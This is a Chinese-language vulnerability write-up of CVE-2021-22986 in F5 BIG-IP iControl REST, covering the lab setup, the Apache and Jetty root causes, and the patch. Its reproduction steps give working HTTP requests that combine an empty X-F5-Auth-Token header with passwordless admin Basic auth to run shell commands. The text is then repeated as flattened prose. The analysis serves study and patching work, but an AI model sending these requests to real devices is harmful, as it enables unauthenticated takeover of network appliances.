F5 BIGIP CVE-2021-22986认证绕过漏洞分析
字数 1849 2025-08-27 12:33:37

F5 BIG-IP CVE-2021-22986认证绕过漏洞深入分析与复现指南

漏洞概述

CVE-2021-22986是F5 BIG-IP iControl REST API中的一个严重认证绕过漏洞,CVSS评分为9.8(Critical)。该漏洞允许未经认证的攻击者绕过认证机制,执行任意系统命令。

影响范围

产品分支 受影响版本 修复版本
BIG-IP 16.x 16.0.0 - 16.0.1 16.0.1.1
BIG-IP 15.x 15.1.0 - 15.1.2 15.1.2.1
BIG-IP 14.x 14.1.0 - 14.1.3 14.1.4
BIG-IP 13.x 13.1.0 - 13.1.3 13.1.3.6
BIG-IP 12.x 12.1.0 - 12.1.5 12.1.5.3
BIG-IQ 7.x 7.1.0, 7.0.0 7.1.0.3, 7.0.0.2

环境搭建

  1. 下载虚拟机镜像

    • 从F5官网下载BIG-IP虚拟机版OVF镜像(如16.0.0版本)
    • 注意:注册账户时选择正确的国家,避免因软件禁运导致下载失败
  2. 导入虚拟机

    • 使用VMware导入OVF文件
    • 初始凭证:root/default,首次登录后需修改密码
  3. 网络配置

    # 进入系统后执行
    config
    # 修改IP地址为所需值,如172.16.113.247
    
  4. 访问Web界面

    • 通过https://[IP地址]访问
    • 使用admin/设置的密码登录

漏洞复现

认证绕过原理

漏洞由两部分组成:

  1. Apache层绕过

    • 当请求包含X-F5-Auth-Token头时,Apache的mod_auth_pam.so模块会跳过Basic认证检查
    • 即使X-F5-Auth-Token值为空也能触发绕过
  2. Jetty层绕过

    • 请求被转发到Jetty服务(8100端口)处理
    • Jetty仅检查Basic认证中的用户名,不验证密码
    • 使用admin:(空密码)的Base64编码即可通过认证

复现步骤

  1. 正常请求(返回401)

    POST /mgmt/tm/util/bash HTTP/1.1
    Host: 172.16.113.247
    Content-type: application/json
    
    {"command":"run", "utilCmdArgs": "-c id"}
    
  2. 仅包含错误Authorization头(返回401)

    POST /mgmt/tm/util/bash HTTP/1.1
    Host: 172.16.113.247
    Authorization: Basic YWRtaW46  # admin:的Base64编码
    Content-type: application/json
    
    {"command":"run", "utilCmdArgs": "-c id"}
    
  3. 仅包含X-F5-Auth-Token头(返回401,但Server变为Jetty)

    POST /mgmt/tm/util/bash HTTP/1.1
    Host: 172.16.113.247
    X-F5-Auth-Token: 
    Content-type: application/json
    
    {"command":"run", "utilCmdArgs": "-c id"}
    
  4. 同时包含两个头(认证绕过成功)

    POST /mgmt/tm/util/bash HTTP/1.1
    Host: 172.16.113.247
    Authorization: Basic YWRtaW46
    X-F5-Auth-Token: 
    Content-type: application/json
    
    {"command":"run", "utilCmdArgs": "-c id"}
    

技术分析

Apache层分析

  1. 服务架构

    • 443端口由Apache(httpd)监听
    • 版本信息:BIG-IP定制版Apache/2.4.6
  2. 关键配置

    • /etc/httpd/run/config/httpd.conf中定义了/mgmt/路径的代理规则:
      ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0
      
    • 认证配置:
      <ProxyMatch /mgmt/>
        AuthPAM_Enabled on
        require valid-user
      </ProxyMatch>
      
  3. 认证模块分析

    • 认证由mod_auth_pam.so处理
    • 关键函数sub_5AF0检查X-F5-Auth-Token
    • 动态调试发现:当存在X-F5-Auth-Token时,test eax, eax返回0,跳过后续认证检查

Jetty层分析

  1. 服务架构

    • 8100端口由Java服务监听
    • 主类:com.f5.rest.workers.RestWorkerHost
  2. 认证流程

    • 请求由RestServerServlet处理
    • setIdentityFromAuthenticationData方法进行认证:
      if (!setIdentityFromDeviceAuthToken(request, completion)) {
          if (setIdentityFromF5AuthToken(request)) {
              completion.run();
          } else if (setIdentityFromBasicAuth(request)) {
              completion.run();
          } else {
              completion.run();
          }
      }
      
    • setIdentityFromBasicAuth仅检查用户名,不验证密码:
      BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
      request.setIdentityData(components.userName, null, null);
      
  3. 权限检查绕过

    • 当用户名为admin时,AuthzHelper.isDefaultAdminRef(userRef)返回true,绕过权限检查

修复方案

修复主要集中在RestOperationIdentifier.setIdentityFromBasicAuth方法:

  1. 增加了对X-Forwarded-Host头的检查
  2. 仅允许以下情况直接通过认证:
    • 请求来自localhost/127.0.0.1
    • 请求来自127.4.2.1且用户名为f5hubblelcdadmin
  3. 其他情况需进行完整的密码验证

关键修复代码:

if (xForwardedHostHeaderValue == null) {
    request.setIdentityData(components.userName, null, null);
    if (runnable != null) {
        runnable.run();
    }
    return true;
} else {
    // 严格的IP和用户名检查
    if (!valueList[valueIdx].contains("localhost") 
        && !valueList[valueIdx].contains("127.0.0.1")) {
        // 要求额外验证
    }
}

参考资源

  1. [CVE-2021-22986:F5 BIG-IP iControl REST未授权远程命令执行漏洞分析]
  2. [F5从认证绕过到远程代码执行漏洞分析]
  3. [F5 BIGIP iControl REST CVE-2021-22986漏洞分析与利用]
F5 BIG-IP CVE-2021-22986认证绕过漏洞深入分析与复现指南 漏洞概述 CVE-2021-22986是F5 BIG-IP iControl REST API中的一个严重认证绕过漏洞,CVSS评分为9.8(Critical)。该漏洞允许未经认证的攻击者绕过认证机制,执行任意系统命令。 影响范围 | 产品分支 | 受影响版本 | 修复版本 | |---------|-----------|---------| | BIG-IP 16.x | 16.0.0 - 16.0.1 | 16.0.1.1 | | BIG-IP 15.x | 15.1.0 - 15.1.2 | 15.1.2.1 | | BIG-IP 14.x | 14.1.0 - 14.1.3 | 14.1.4 | | BIG-IP 13.x | 13.1.0 - 13.1.3 | 13.1.3.6 | | BIG-IP 12.x | 12.1.0 - 12.1.5 | 12.1.5.3 | | BIG-IQ 7.x | 7.1.0, 7.0.0 | 7.1.0.3, 7.0.0.2 | 环境搭建 下载虚拟机镜像 : 从F5官网下载BIG-IP虚拟机版OVF镜像(如16.0.0版本) 注意:注册账户时选择正确的国家,避免因软件禁运导致下载失败 导入虚拟机 : 使用VMware导入OVF文件 初始凭证:root/default,首次登录后需修改密码 网络配置 : 访问Web界面 : 通过https://[ IP地址 ]访问 使用admin/设置的密码登录 漏洞复现 认证绕过原理 漏洞由两部分组成: Apache层绕过 : 当请求包含 X-F5-Auth-Token 头时,Apache的 mod_auth_pam.so 模块会跳过Basic认证检查 即使 X-F5-Auth-Token 值为空也能触发绕过 Jetty层绕过 : 请求被转发到Jetty服务(8100端口)处理 Jetty仅检查Basic认证中的用户名,不验证密码 使用 admin: (空密码)的Base64编码即可通过认证 复现步骤 正常请求(返回401) : 仅包含错误Authorization头(返回401) : 仅包含X-F5-Auth-Token头(返回401,但Server变为Jetty) : 同时包含两个头(认证绕过成功) : 技术分析 Apache层分析 服务架构 : 443端口由Apache(httpd)监听 版本信息:BIG-IP定制版Apache/2.4.6 关键配置 : /etc/httpd/run/config/httpd.conf 中定义了 /mgmt/ 路径的代理规则: 认证配置: 认证模块分析 : 认证由 mod_auth_pam.so 处理 关键函数 sub_5AF0 检查 X-F5-Auth-Token 头 动态调试发现:当存在 X-F5-Auth-Token 时, test eax, eax 返回0,跳过后续认证检查 Jetty层分析 服务架构 : 8100端口由Java服务监听 主类: com.f5.rest.workers.RestWorkerHost 认证流程 : 请求由 RestServerServlet 处理 setIdentityFromAuthenticationData 方法进行认证: setIdentityFromBasicAuth 仅检查用户名,不验证密码: 权限检查绕过 : 当用户名为 admin 时, AuthzHelper.isDefaultAdminRef(userRef) 返回true,绕过权限检查 修复方案 修复主要集中在 RestOperationIdentifier.setIdentityFromBasicAuth 方法: 增加了对 X-Forwarded-Host 头的检查 仅允许以下情况直接通过认证: 请求来自localhost/127.0.0.1 请求来自127.4.2.1且用户名为 f5hubblelcdadmin 其他情况需进行完整的密码验证 关键修复代码: 参考资源 [ CVE-2021-22986:F5 BIG-IP iControl REST未授权远程命令执行漏洞分析 ] [ F5从认证绕过到远程代码执行漏洞分析 ] [ F5 BIGIP iControl REST CVE-2021-22986漏洞分析与利用 ]